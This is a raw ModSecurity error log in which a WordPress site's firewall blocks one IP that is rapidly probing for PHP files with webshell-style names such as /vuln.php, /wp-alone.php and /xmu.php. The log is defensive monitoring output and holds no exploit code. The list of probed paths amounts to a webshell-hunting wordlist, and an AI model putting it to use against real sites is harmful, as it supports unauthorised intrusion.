[Fri Apr 24 02:15:13.415084 2026] [:error] [pid 42973:tid 43067] [client 74.234.74.247:6222] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no20.php"] [unique_id "aephsW6I0QqmmmLTHE2KRQAAAJg"]
[Fri Apr 24 02:15:13.990149 2026] [:error] [pid 65000:tid 65047] [client 74.234.74.247:6261] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no20.php"] [unique_id "aephsb6vRb9j6psK2ZaKxwAAAg4"]
[Fri Apr 24 02:15:14.545655 2026] [:error] [pid 42972:tid 43040] [client 74.234.74.247:6175] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no20.php"] [unique_id "aephssOAb-3sOknsk4fLqwAAAFg"]
[Fri Apr 24 02:15:15.055551 2026] [:error] [pid 42972:tid 43033] [client 74.234.74.247:6266] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/no20.php"] [unique_id "aephs8OAb-3sOknsk4fLsAAAAFE"]
[Fri Apr 24 02:15:15.598584 2026] [:error] [pid 59700:tid 59703] [client 74.234.74.247:6193] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-alone.php"] [unique_id "aephs5XyGZJFeAIDWtl7-QAAAUE"]
[Fri Apr 24 02:15:16.118941 2026] [:error] [pid 43083:tid 43091] [client 74.234.74.247:6256] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-alone.php"] [unique_id "aephtDC5hrvNXosL83KxdQAAAMY"]
[Fri Apr 24 02:15:16.686795 2026] [:error] [pid 43083:tid 43095] [client 74.234.74.247:6252] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-alone.php"] [unique_id "aephtDC5hrvNXosL83KxdgAAAMo"]
[Fri Apr 24 02:15:17.253657 2026] [:error] [pid 64967:tid 64975] [client 74.234.74.247:1991] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-alone.php"] [unique_id "aephtYAV4GfOOdX8QzqbkwAAAYY"]
[Fri Apr 24 02:15:17.801038 2026] [:error] [pid 59700:tid 59718] [client 74.234.74.247:6220] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yasnu.php"] [unique_id "aephtZXyGZJFeAIDWtl7_AAAAVA"]
[Fri Apr 24 02:15:18.964722 2026] [:error] [pid 64998:tid 65018] [client 74.234.74.247:6169] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yasnu.php"] [unique_id "aephtoV5EysYcTLjmwg_ZAAAAdA"]
[Fri Apr 24 02:15:19.504404 2026] [:error] [pid 65000:tid 65056] [client 74.234.74.247:1999] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yasnu.php"] [unique_id "aepht76vRb9j6psK2ZaK1gAAAhc"]
[Fri Apr 24 02:15:20.082503 2026] [:error] [pid 65000:tid 65030] [client 74.234.74.247:6152] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/yasnu.php"] [unique_id "aephuL6vRb9j6psK2ZaK3AAAAgE"]
[Fri Apr 24 02:15:20.606056 2026] [:error] [pid 42973:tid 43049] [client 74.234.74.247:6255] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sl.php"] [unique_id "aephuG6I0QqmmmLTHE2KTQAAAIY"]
[Fri Apr 24 02:15:21.188409 2026] [:error] [pid 64998:tid 65014] [client 74.234.74.247:6271] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sl.php"] [unique_id "aephuYV5EysYcTLjmwg_dQAAAcw"]
[Fri Apr 24 02:15:21.764643 2026] [:error] [pid 43083:tid 43107] [client 74.234.74.247:6262] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sl.php"] [unique_id "aephuTC5hrvNXosL83KxegAAANY"]
[Fri Apr 24 02:15:22.326043 2026] [:error] [pid 65000:tid 65043] [client 74.234.74.247:1988] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sl.php"] [unique_id "aephur6vRb9j6psK2ZaK4wAAAgo"]
[Fri Apr 24 02:15:22.848388 2026] [:error] [pid 65000:tid 65037] [client 74.234.74.247:6145] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sw.php"] [unique_id "aephur6vRb9j6psK2ZaK6AAAAgQ"]
[Fri Apr 24 02:15:23.469486 2026] [:error] [pid 64998:tid 65025] [client 74.234.74.247:6259] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sw.php"] [unique_id "aephu4V5EysYcTLjmwg_gAAAAdc"]
[Fri Apr 24 02:15:24.055407 2026] [:error] [pid 42972:tid 43023] [client 74.234.74.247:6238] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sw.php"] [unique_id "aephvMOAb-3sOknsk4fLwwAAAEc"]
[Fri Apr 24 02:15:24.607120 2026] [:error] [pid 46953:tid 46975] [client 74.234.74.247:6214] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sw.php"] [unique_id "aephvEnlpdHh-P6wKbp-JQAAAlM"]
[Fri Apr 24 02:15:26.152536 2026] [:error] [pid 42973:tid 43052] [client 74.234.74.247:6217] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vuln.php"] [unique_id "aephvm6I0QqmmmLTHE2KVgAAAIk"]
[Fri Apr 24 02:15:26.660538 2026] [:error] [pid 65000:tid 65030] [client 74.234.74.247:6210] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vuln.php"] [unique_id "aephvr6vRb9j6psK2ZaK-QAAAgE"]
[Fri Apr 24 02:15:27.220309 2026] [:error] [pid 65000:tid 65050] [client 74.234.74.247:6251] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vuln.php"] [unique_id "aephv76vRb9j6psK2ZaK_QAAAhE"]
[Fri Apr 24 02:15:27.734192 2026] [:error] [pid 65000:tid 65039] [client 74.234.74.247:6264] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/vuln.php"] [unique_id "aephv76vRb9j6psK2ZaLAwAAAgY"]
[Fri Apr 24 02:15:29.294188 2026] [:error] [pid 64998:tid 65010] [client 74.234.74.247:6155] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-temp.php"] [unique_id "aephwYV5EysYcTLjmwg_iwAAAcg"]
[Fri Apr 24 02:15:29.880174 2026] [:error] [pid 65000:tid 65052] [client 74.234.74.247:6227] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-temp.php"] [unique_id "aephwb6vRb9j6psK2ZaLDwAAAhM"]
[Fri Apr 24 02:15:31.467828 2026] [:error] [pid 64998:tid 65025] [client 74.234.74.247:6239] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-temp.php"] [unique_id "aephw4V5EysYcTLjmwg_lQAAAdc"]
[Fri Apr 24 02:15:32.005654 2026] [:error] [pid 65000:tid 65046] [client 74.234.74.247:1986] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-temp.php"] [unique_id "aephxL6vRb9j6psK2ZaLFwAAAg0"]
[Fri Apr 24 02:15:32.521171 2026] [:error] [pid 59700:tid 59720] [client 74.234.74.247:6241] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sxdfrt.php"] [unique_id "aephxJXyGZJFeAIDWtl7_wAAAVI"]
[Fri Apr 24 02:15:33.108544 2026] [:error] [pid 42971:tid 42987] [client 74.234.74.247:6154] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sxdfrt.php"] [unique_id "aephxTEP2_5RswrH8bFT2gAAAAE"]
[Fri Apr 24 02:15:33.641694 2026] [:error] [pid 64998:tid 65022] [client 74.234.74.247:6268] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sxdfrt.php"] [unique_id "aephxYV5EysYcTLjmwg_mQAAAdQ"]
[Fri Apr 24 02:15:34.231327 2026] [:error] [pid 59700:tid 59712] [client 74.234.74.247:6249] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sxdfrt.php"] [unique_id "aephxpXyGZJFeAIDWtl8AQAAAUo"]
[Fri Apr 24 02:15:34.775190 2026] [:error] [pid 64998:tid 65021] [client 74.234.74.247:6207] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aephxoV5EysYcTLjmwg_nwAAAdM"]
[Fri Apr 24 02:15:35.360345 2026] [:error] [pid 65000:tid 65038] [client 74.234.74.247:1929] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aephx76vRb9j6psK2ZaLNgAAAgU"]
[Fri Apr 24 02:15:35.939975 2026] [:error] [pid 64998:tid 65004] [client 74.234.74.247:6158] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aephx4V5EysYcTLjmwg_qgAAAcI"]
[Fri Apr 24 02:15:36.471904 2026] [:error] [pid 65000:tid 65047] [client 74.234.74.247:6185] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/twentytwentyfive/assets/"] [unique_id "aephyL6vRb9j6psK2ZaLPwAAAg4"]
[Fri Apr 24 02:15:37.002405 2026] [:error] [pid 65000:tid 65032] [client 74.234.74.247:2005] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aephyb6vRb9j6psK2ZaLRwAAAgM"]
[Fri Apr 24 02:15:37.534583 2026] [:error] [pid 65000:tid 65030] [client 74.234.74.247:6212] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aephyb6vRb9j6psK2ZaLTAAAAgE"]
[Fri Apr 24 02:15:38.057487 2026] [:error] [pid 59700:tid 59710] [client 74.234.74.247:6190] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aephypXyGZJFeAIDWtl8AwAAAUg"]
[Fri Apr 24 02:15:38.639379 2026] [:error] [pid 65000:tid 65043] [client 74.234.74.247:6159] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/buttons/"] [unique_id "aephyr6vRb9j6psK2ZaLVwAAAgo"]
[Fri Apr 24 02:15:39.158273 2026] [:error] [pid 42972:tid 43033] [client 74.234.74.247:6213] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-bda.php"] [unique_id "aephy8OAb-3sOknsk4fL0wAAAFE"]
[Fri Apr 24 02:15:39.716622 2026] [:error] [pid 65000:tid 65044] [client 74.234.74.247:6161] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-bda.php"] [unique_id "aephy76vRb9j6psK2ZaLYQAAAgs"]
[Fri Apr 24 02:15:40.262625 2026] [:error] [pid 65000:tid 65047] [client 74.234.74.247:6201] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-bda.php"] [unique_id "aephzL6vRb9j6psK2ZaLaAAAAg4"]
[Fri Apr 24 02:15:40.799003 2026] [:error] [pid 42972:tid 43025] [client 74.234.74.247:2013] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/class-bda.php"] [unique_id "aephzMOAb-3sOknsk4fL1wAAAEk"]
[Fri Apr 24 02:15:41.348496 2026] [:error] [pid 65000:tid 65051] [client 74.234.74.247:2016] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bhm.php"] [unique_id "aephzb6vRb9j6psK2ZaLcQAAAhI"]
[Fri Apr 24 02:15:41.889397 2026] [:error] [pid 64998:tid 65003] [client 74.234.74.247:6147] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bhm.php"] [unique_id "aephzYV5EysYcTLjmwg_twAAAcE"]
[Fri Apr 24 02:15:42.518645 2026] [:error] [pid 43083:tid 43101] [client 74.234.74.247:6209] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bhm.php"] [unique_id "aephzjC5hrvNXosL83KxkQAAANA"]
[Fri Apr 24 02:15:43.113453 2026] [:error] [pid 64998:tid 65004] [client 74.234.74.247:6165] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bhm.php"] [unique_id "aephz4V5EysYcTLjmwg_ugAAAcI"]
[Fri Apr 24 02:15:43.669962 2026] [:error] [pid 64998:tid 65020] [client 74.234.74.247:6172] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmu.php"] [unique_id "aephz4V5EysYcTLjmwg_vgAAAdI"]
[Fri Apr 24 02:15:44.207861 2026] [:error] [pid 65000:tid 65053] [client 74.234.74.247:1993] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmu.php"] [unique_id "aeph0L6vRb9j6psK2ZaLhgAAAhQ"]
[Fri Apr 24 02:15:44.754211 2026] [:error] [pid 64998:tid 65022] [client 74.234.74.247:6192] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmu.php"] [unique_id "aeph0IV5EysYcTLjmwg_wgAAAdQ"]
[Fri Apr 24 02:15:45.271834 2026] [:error] [pid 25635:tid 25643] [client 74.234.74.247:6250] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xmu.php"] [unique_id "aeph0cRxv6UsgRGKB3JTeAAAAQQ"]
[Fri Apr 24 02:15:45.780456 2026] [:error] [pid 42971:tid 43003] [client 74.234.74.247:6171] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ref.php"] [unique_id "aeph0TEP2_5RswrH8bFT7gAAABE"]
[Fri Apr 24 02:15:46.372214 2026] [:error] [pid 42971:tid 43007] [client 74.234.74.247:6254] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ref.php"] [unique_id "aeph0jEP2_5RswrH8bFT7wAAABU"]
[Fri Apr 24 02:15:46.980715 2026] [:error] [pid 42972:tid 43028] [client 74.234.74.247:2032] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ref.php"] [unique_id "aeph0sOAb-3sOknsk4fL2gAAAEw"]
